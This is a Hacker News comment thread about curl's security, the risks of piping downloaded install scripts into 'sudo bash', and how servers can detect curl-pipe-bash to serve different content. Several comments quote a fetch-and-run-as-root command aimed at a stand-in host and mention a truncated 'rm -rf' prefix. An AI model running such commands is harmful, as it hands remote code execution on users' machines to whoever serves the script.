Hacker News Reader

Comment by cbm-vic-20 | Hacker News Reader

Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

The point is that they want further assurances that the "curl https://totally-not-evil.example.com/install.sh" part won't, in certain environments, screw up some pointer arithmetic and write the buffer into executable memory, or cause some other heartbleed-esque bug which can be exploited.

Piping it to "sudo bash" is perfectly acceptable in the eyes of the system. It's doing the instructions the user has asked it to, they've explicitly been configured as sudoers, and usually have been prompted to enter their password.

Historically there was a long period where this didn't do what you expect, which is very bad.

What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is:

Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something. If you suspect they might actually be evil, or just incompetent, that's on you either way.

But for some years curl didn't make any effort to confirm it was getting this file from totally-not-evil.example.com. Connect over SSL, ignore all this security stuff, fetch the file. So then it's like you just accepted a floppy disk you got in the mail which says it's "from totally-not-evil.example.com" but might really be from anybody. That's definitely worse. Today you have to specify the --insecure flag to do this if you want to (Hint: You do not want to)

The website could detect whether you are using a regular browser or curl itself to download the .sh file and return something different. So inspecting the .sh using your browser before you run that line would not protect you.

Inspect it by piping to less or vim instead?

Still distinguishable: https://news.ycombinator.com/item?id=24731271

"For some years" sure, but that's ancient history.

curl has verified the server certificates by default since version 7.10, shipped in October 2002.

I'm actually just very old. But thanks for the effort put into Curl over all this time.

> This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something.

In practice, perhaps. But detecting whether the file is being piped to bash (and not cat/less/grep/etc) is pretty straightforward.

https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...

https://code.moparisthebest.com/moparisthebest/curl_bash

Yeah, and it still doesn't matter. Because if you run that command you are already trusting that site with RCE on your machine, so if the premise of the attack is "the site is bad" you were owned anyways.

Moreover, the site could be legitimate and ship you something legitimate, but if it's truncated for any reason it could still be a "valid" bash script that now does incorrect things. Consider various prefixes of `rm -rf /tmp/thisscript.working/...`

In your example, bash, sudo, linux, your DNS stack, ISP, router, clipboard and keyboard all play a role that is just as essential as curl in that command working the way you (cynically) expect it to.

Glad you feel safer though.

What? You mean intentionally running untrusted code as root is your own fault?

How dare you.

Reply on news.ycombinator.com